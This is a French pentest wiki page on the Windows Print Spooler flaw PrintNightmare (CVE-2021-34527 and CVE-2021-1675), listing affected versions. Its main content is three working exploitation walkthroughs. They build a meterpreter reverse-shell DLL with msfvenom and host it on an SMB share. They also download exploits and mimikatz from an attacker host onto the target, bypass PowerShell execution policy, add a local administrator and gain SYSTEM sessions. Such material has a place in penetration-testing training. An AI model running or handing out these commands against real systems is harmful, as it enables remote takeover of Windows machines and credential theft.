🖨️PrintNightmare

Print Spooler est sur le radar des chercheurs depuis que le ver Stuxnet a utilisé la vulnérabilité d'escalade de privilèges du spooler d'impression pour se propager à travers le réseau dans les centrifugeuses d'enrichissement nucléaire de l'Iran et a infecté plus de 45 000 réseaux. PrintNightmare est le nom commun donné à une vulnérabilité d'exécution de code à distance dans le service Print Spooler (spoolsv.exe) dans les systèmes d'exploitation Microsoft Windows. La vulnérabilité a été attribuée CVE-2021-34527. Initialement, il était considéré comme une escalade de privilèges locaux (LPE) et attribué CVE-2021-1675. Des correctifs immédiats pour le LPE ont été publiés en juin 2021 et étaient marqués comme étant de faible gravité. Environ 2 semaines plus tard, Microsoft a changé le statut de faible gravité de LPE en sévère car il a été constaté que les correctifs avaient été contournés et que l'exécution de code à distance avait atteint la CVE-2021-34527 attribuée. Il y a eu une controverse après un malentendu entre les auteurs et Microsoft où l'exploit RCE a été publié sur GitHub avant les correctifs, ce qui en fait une vulnérabilité 0-day. Cependant, il a été immédiatement annulé. Dans cet article, nous nous concentrerons sur l'escalade de privilèges à l'aide de cette vulnérabilité du spouleur d'impression. La traction qu'il a obtenue en 2021 en a fait la vulnérabilité de l'année.

Versions concernées

CVE-2021-34527

Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

CVE-2021-1675

Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

Exploitation

Méthode 1 - RCE avec python

Il s'agit de la méthode relative à CVE-2021-34527 (exécution de code à distance en tant qu'administrateur).

Vérification de la vulnérabilité

msf6 > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set rhosts <target IP>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBUser <utilisateur>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBPass <password>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set dll_path <path>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > exploit

Si la cible est vulnérable:

Tout d'abord, nous devons créer un fichier DLL malveillant qui s'exécutera en tant qu'ADMINISTRATEUR. Nous utilisons msfvenom pour cela.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f dll -o evil.dll

Ensuite, nous devons ouvrir un multi handler sur notre machine pour recevoir le reverse shell.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit

Maintenant, nous devons cloner le dépôt github.

git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527. py

Une dernière étape restante consiste à héberger la DLL malveillante dans notre serveur SAMBA. Vous pouvez configurer manuellement un serveur samba dans Kali, utiliser l'hôte Windows pour l'héberger ou l'approche la plus simple consiste à utiliser le serveur smb d'impacket.

Ajoutez le nom de partage que vous voulez (dans mon cas, "partage") puis indiquez le chemin où vous avez enregistré la DLL malveillante.

$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py partage /root

Il ne reste à présent plus qu'à lancer l'exploit.

$ ./CVE-2021-34527.py <username>:<password>@<target IP> '\\<attacker IP>\partage\evil.dll'

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

Méthode 2 - PrintNightmare LPE avec Powershell

Nous avons vu l'exploit distant relatif à CVE 2021-34527. Maintenant, nous allons voir l'ancien exploit d'escalade de privilèges locaux.

# Téléchargement exploit
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al

Il faut ensuite créer un serveur http pour y placer l'exploit.

python -m http.server 80

On va ensuite télécharger l'exploit depuis la machine cible comme ceci:

> powershell wget http://<attacker IP>/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
> cd C:\Users\Public
C:\Users\Public> dir

On doit donc normalement retrouver le fichier cve.ps1.

On peut donc maintenant lancer l'exploit.

C:\Users\Public> powershell -ep bypass
C:\Users\Public> Import-Module .\cve.ps1
C:\Users\Public> Invoke-Nightmare -NewUser "<username>" -NewPassword "<password>" -DriverName "PrintMe"

Normalement la dll crée a du ajouter un nouvel utilisateur, on peut le vérifier avec la commande >net localgroup administrators

Si tout s'est bien passé, on peut alors se connecter sur cet utilisateur à l'aide de psexec.

$ python3 psexec.py <username>:<password>@<target IP>

Méthode 3 - PrintNightmare LPE avec Mimikatz

Sur notre machine:

créer le payload evil.dll et le mettre dans un server SMB puis ouvrir un multi handler

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit

Sur la machine cible:

> powershell wget http://<attacker IP>/mimikatz.exe -O \users\Public\mimikatz.exe
> cd C:\users\Public
C:\users\Public> mimikatz.exe

mimikatz# misc::printnightmare /library:\\<attacker IP>\partage\evil.dll /authuser:<username> /authpass:<password> /try:50

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

CVE-2021-1675.py

ressource: https://github.com/cube0x0/CVE-2021-1675

Dernière mise à jour